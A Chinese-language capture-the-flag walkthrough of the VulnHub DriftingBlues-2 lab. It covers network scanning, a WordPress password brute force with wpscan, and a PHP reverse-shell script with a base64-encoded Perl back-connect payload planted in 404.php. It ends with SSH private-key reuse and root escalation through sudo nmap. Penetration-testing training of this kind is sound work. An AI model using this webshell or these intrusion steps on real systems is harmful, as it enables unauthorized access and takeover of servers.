目录
3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)
环境信息
靶机:DriftingBlues-2,IP地址:192.168.52.149
攻击机:Kali,IP地址:192.168.52.134
下载: https://download.vulnhub.com/driftingblues/driftingblues2.ova
渗透测试
一. 信息收集
1、打开kali,查看kali的IP地址和子网掩码
因为靶机和kali现在属于同一个网段,查看kali的IP和子网掩码是为了获得靶机的网段,靶机的网段是:192.168.52.0/24
2、使用netdiscover扫描主机
netdiscover -i eth0 -r 192.168.52.0/24 ##netdiscover: -i 指定网卡 -r 指定网段
也可以使用nmap进行主机发现,
nmap -sP 192.168.52.0/24
在使用nmap进行主机发现时,会扫描出本机的IP地址,而netdiscover则不会扫描出本机IP地址
或使用arp-scan -l命令拿到靶机的IP地址
arp-scan -l
获得靶机靶机ip:192.168.52.149
3、使用nmap扫描靶机,看有什么服务是可利用的(端口扫描)
root@kali:~# nmap -sV -A 192.168.52.149 -sV只扫描端口及其版本号 -A扫描端口的详细信息
目标靶机开放了21(FTP匿名登录服务)、22(SSH服务)以及80(HTTP服务)
根据扫描信息知道,允许匿名登录,尝试登录
用户名:anonymous
密码:(空)
ftp 192.168.52.149 ls get secret.jpg exit
里面也没什么东西倒是发现一张密码图片,下载到本地进行,未发现有什么信息,留下备用
4、访问网页,查看基本信息
使用Firefox插件Wappalyzer,或者扫描网站目录,查看robots.txt等暴露出的信息,可以获取到网站相关信息
使用浏览器插件Wappalyzer,检测网站的CMS,框架,服务器等信息
没有检测到CMS信息
利用dirsearch进行网站目录扫描:
dirsearch -u 192.168.52.149 -e * -i 200 -i 状态码 只显示该状态码 -x 状态码 不显示该状态码
目录扫描得到一个blog目录和blog目录下的wp-login.php登录页面
访问http://192.168.52.149/blog/,发现里面有许多博客可以访问
点击链接,无法进入,可能未识别域名
那么在/etc/hosts中添加192.168.52.149 driftingblues.box
可以正常访问该域名,而且使用浏览器插件Wappalyzer得到该系统使用的wordpress架构
所以可以使用wpscan进行扫描,得到可以登录的用户名,并破解出密码
5、使用wpscan工具爆破用户名和密码
使用kali的wpscan来扫描一下用户名:
wpscan --ignore-main-redirect --url http://192.168.52.149/blog/ --enumerate u --force
wpscan -h可以查看各种参数以及定义,--enumerate 枚举 u 枚举用户名
得到了一个用户名:albert
接着爆破一下这个用户的密码:
wpscan --url http://192.168.52.149/blog/ --passwords rockyou.txt --usernames albert
其中需要使用kali下的usr/share/wordists/rockyou.txt密码字典进行爆破
进入到/usr/share/wordlists下你会发现有一个rockyou.txt.gz
需要解压才能得到rockyou.txt
gzip -c -d rockyou.txt.gz > /root/桌面/rockyou.txt
爆破成功,获得密码:scotland1
访问:http://driftingblues.box/blog/wp-login.php,登录后台
登录成功
二. 漏洞查找与利用
1、写入反弹shell
查找可以写入shell的地方,找到有一个404.php的页面可以编辑,此处使用php反弹shell的脚本,只需要修改ip和port为指定的值即可,保存
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
2、反弹shell
kali进行监听
nc -lvvp 4444
此时访问一个不存在的url,会进行跳转到404错误
反弹shell成功
获得交互shell:
python -c 'import pty; pty.spawn("/bin/bash")'
三、提权
1、私钥免密登录为普通用户,获得flag1
进入home目录中,发现一个用户freddie,进入用户目录,有一个txt文件,但没有权限查看
进入.ssh文件夹中,发现一对公私钥对,其中私钥有可读权限
把id_rsa的内容复制到本地为id_rsa文件,并修改权限为400
chmod 400 id_rsa
使用私钥免密登录,可以成功登录为用户freddie
ssh freddie@192.168.52.149 -i id_rsa
得到第一个flag
2、提权至root用户,得到flag2
查看sudo权限的命令,发现有一个nmap命令可以无密码root使用,用于提权
命令:sudo -l
根据使用nmap提权的方法:https://gtfobins.github.io/gtfobins/nmap/
进行提权
根据第一个提示进行配置
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF
执行可以得到root权限的shell,但是执行命令时,无法看到输入内容,可以输入reset,得到的shell可以看到输入的命令
此时可以得到flag2
参考文章
靶机driftingblues2:
靶机driftingblues2 - FreeBuf网络安全行业门户
vulnhub靶场渗透实战12-driftingblues2: